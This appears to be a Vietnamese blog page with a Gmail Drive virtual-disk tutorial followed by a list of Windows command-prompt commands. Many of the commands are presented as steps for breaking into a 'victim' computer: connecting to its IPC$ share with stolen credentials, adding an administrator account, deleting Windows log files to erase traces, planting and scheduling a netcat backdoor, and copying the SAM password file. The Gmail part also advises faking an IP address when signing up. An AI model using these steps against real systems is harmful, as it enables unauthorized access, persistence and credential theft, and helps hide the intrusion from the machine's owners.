Tổng kho

Cho ý kiến chút nhé !

Bạn thấy trang này như thế nào?
Đẹp
Đơn điệu
Bình thường
Ý kiến khác

Thành viên trực tuyến

1 khách và 0 thành viên

Thống kê

  • truy cập   (chi tiết)
    trong hôm nay
  • lượt xem
    trong hôm nay
  • thành viên
  • Gốc > Thế giới Tin học > Máy tính >

    Thêm ổ cứng với Gmail Driver

    Các bạn đã biết gmail là một dịch vụ email khổng lồ được nhiều người sử dụng nhiều nhất. Với dung lượng lưu trữ lên đến 7GB miễn phí giúp bạn có thể tha hồ vừa lưu trữ lại vừa gửi nhận email tha hồ. Thế tại sao bạn không sử dụng ngay dung lượng khổng lồ này để làm một ổ đĩa ảo thông qua đường truyền internet của mình.

    Với phương pháp sau bạn có thể lên đời cho ổ cứng mình 7GB dung lượng lưu trữ mà không phải tốn tiền mua ổ cứng mới, bạn cũng có thể dùng để tạo thêm rất nhiều ổ cứng với nhiều tài khoản của mình dễ dàng
    Công cụ chuẩn bị:
    + Công cụ Gmail Driver 1.1.6, tương thích Windows XP và Vista, tải về tại:
    Tệp tin tải về

    + Một tài khoản Gmail.(Nếu chưa có, khi đăng kí nhớ Fake IP nhé).
    Tạo ổ đĩa Gmail:
    Download và cài đặt Gmail Driver 1.1.6 xong, bạn mở My Computer sẽ xuất hiện thêm 1 ổ đĩa.
    Highslide JS

    Click đúp chuột vào ổ này sẽ hiện ra cửa sổ đăng nhập Gmail.
    Highslide JS

    Bạn nhập User và Password Gmail, click vào nút more và check như trong hình:
    Highslide JS

    Sau đó click OK. Chờ trong thời gian Gmail được đăng nhập. Xong là bạn đã có một ổ đĩa mới với dung lượng 7g (Dung lượng Google cung cấp cho mỗi tài khoản Gmail).
    Highslide JS

    Lời khuyên: Bạn nên tạo 1 tài khoản Gmail mới để sử dụng cho việc lưu trữ này.



    May 27, 2010
    Địa chỉ trích dẫn
    Chú ý Địa chỉ này vần có hiệu lực trước 23:59:59
    Đầu tiên khởi động Command Promt lên đã, vào Start=>Run, gõ CMD, ấn ENTER.
    1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n]
    ip: địa chỉ IP của máy cần kiểm tra;
    host là tên của máy tính cần kiểm tra.
    Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính.
    - Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C
    - Tham số /a: Nhận địa chỉ IP từ tên host
    - Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một sốhacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính(Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụriêng để ping một gói tin lớn như thế này, và phải có nhiều máy tínhcùng ping một lượt.
    - Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5
    Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kếtnối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đangngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đốivới từng gói tin, bạn có thể xác định được tình trạng của đường truyền(chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đườngtruyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kếtnối hay không (Nếu không kết nối,kết quả là Unknow host)....

    2. Lệnh Tracert :
    Cú pháp : Code: tracert ip/host
    Công dụng : + Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các góitin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng quacác server nào, các router nào... Quá hay nếu bạn muốn thăm dò mộtserver nào đó.

    3. Lệnh Net Send: gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP).
    Cú pháp: Net send ip/host thông_điệp_muốn_gởi
    Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi.
    Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trongphòng vi tính của trường các bạn có thể dùng lệnh này để ghẹo mọingười! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theocấu trúc sau : Code: Net send * hello!I'm pro_hacker

    4. Lệnh Netstat :
    Cú pháp: Code: Netstat [/a][/e][/n]
    - Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening)
    - Tham số /e: hiển thị các thông tin thống kê Ethernet
    - Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác
    Các bạn hãy gõ Netstat /? để biết thêm Công dụng :
    + Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.

    5. Lệnh IPCONFIG :
    Cú pháp: Code: ipconfig /all
    Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạnđang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...

    6. Lệnh FTP (truyền tải file):
    Cú pháp: Code: ftp ip/host
    Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau:
    Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp,thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nốithành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếuusername và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trênmáy chủ.
    Một số lệnh ftp cơ bản:
    -cd thu_muc: chuyển sang thư mục khác trên máy chủ
    - dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ
    - mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ
    - rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ
    - put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ.
    - close: Đóng phiên làm việc
    - quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command.Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu.
    Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận filegiữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tácdụng như một chương trình chạy trên nền console (văn bản), cho phépthực hiện kết nối đến máy chủ ftp

    7. Lệnh Net View :
    Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]]
    Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách cácmáy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng.
    + Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyêncủa máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sửdụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.

    8. Lệnh Net Use :
    Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"***"
    - ip: địa chỉ IP của victim.
    - ***: user của máy victim
    - pass: password của user Giả sử ta có đc user và pass của victim có IPlà 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùiđấy!
    Ví dụ: user: vitim ; pass :12345 .
    Ta dùng lệnh sau:
    Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim"
    Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).

    9. Lệnh Net User :
    Cú pháp: Code: Net User [username pass] [/add]
    - Username : tên user cấn add
    - pass : password của user cần add Khi đã add được user vào rùi thì ta tiến hành add user này vào nhóm administrator.
    Code: Net Localgroup Adminstrator [username] [/add]
    Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy
    + Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào.
    Ví dụ: ta tiến hành add thêm một user có tên là uanhoa , password là :banvatoi vào với cấu trúc lệnh như sau:
    Code: Net User xuanhoa banvatoi /add
    Sau đó add user xuanhoa vào nhóm adminnistrator
    Code: Net Localgroup Administrator xuanhoa /add

    10. Lệnh Shutdown:
    Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d up x:yy] (áp dụng cho win XP)
    - Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,..
    - Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown.
    - Tham số -l : logg off (lưu ý ko thể thực hiện khi remote)
    - Tham số -s : shutdown
    - Tham số -r : shutdown và restart
    - Tham số -a : không cho shutdown
    - Tham số -f : shutdown mà ko cảnh báo
    - Tham số -c "comment" : lời cảnh báo trước khi shutdown
    - Tham số -d up x:yy : ko rõ Code: shutdown \\ip (áp dụng win NT)
    Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn!
    Công dụng: + Shutdown máy tính.

    11. Lệnh DIR :
    Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn.
    Để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn.
    Công dụng: + Để xem file, folder.
    12. Lệnh DEL :
    Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu.
    Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, taphái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.
    Sau đây là những files nhật ký của Win NT:
    Code: del C:\winnt\system32\logfiles\*.*
    del C:\winnt\ssytem32\config\*.evt
    del C:\winnt\system32\dtclog\*.*
    del C:\winnt\system32\*.log
    del C:\winnt\system32\*.txt
    del C:\winnt\*.txt del C:\winnt\*.log

    13. Lệnh tạo ổ đĩa ảo trên computer:
    Cú pháp:
    Code: Net use z: \\ip\C$ ( hoặc là IPC$ )
    - Z là của mình...còn C$ là của Victim
    Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này mình cũng không nắm rõ nên ko thể hướng dẫn chi tiết đc)

    14. Lệnh Net Time :
    Cú pháp: Code: Net Time \\ip
    Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT đểkhởi động chương trình. (các bạn có thể tham khảo lệnh AT tại phầnbasic to hacking ở phần hacking and securities trong diễn đàn dttx.org)

    15. Lệnh AT:
    Cú pháp: Code: AT \\ip
    Côngdụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thìta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặcbackdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng.
    Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc củaNETCAT....nó là một telnet server với port 99) và đc copy lên máyvictim rùi. Đầu tiên ta cần biết thời gian của victim có IP là :68.135.23.25 .
    Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim,
    ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nósẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.

    16. Lệnh Telnet:
    Cú pháp: Code: telnet host port
    Gõ telnet /? để biết thêm chi tiết.
    Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie
    Code: telnet 68.135.23.25 99
    Công dụng: + Kết nối đến host qua port xx

    17. Lệnh COPY:
    Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn!
    Công dụng: + Copy file, ở đây chắc mình khỏi nói thêm nhé.
    Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1
    Code: Copy Index.html \\127.0.0.1\C$\index.html
    nếu bạn copy lên folder winNt
    Code: Copy index.html \\127.0.0.1\admin$\index.html
    muốn copy files trên máy victm thì bạn gõ vào :
    Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\
    lưu ý : code ở đây được hiểu là mã lệnh các bạn không nên gõ vào chữcode, nếu gõ code thì các bạn không thực hiện được những dòng mã lệnhphía trên đâu

    18. Lệnh SET:
    Cú pháp: Code: SET
    Công dụng: + Displays, sets, or removes cmd.exe enviroment variables.

    19. Lệnh Nbtstat:
    Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này.
    Công dụng: + Display protocol statistic and curent TCP/IP connectionsusing NBT (netbios over TCP?IP)

    Nhắn tin cho tác giả
    Lê Khắc Thành Đạt @ 14:32 28/06/2011
    Số lượt xem: 507
    Số lượt thích: 0 người
     
    Gửi ý kiến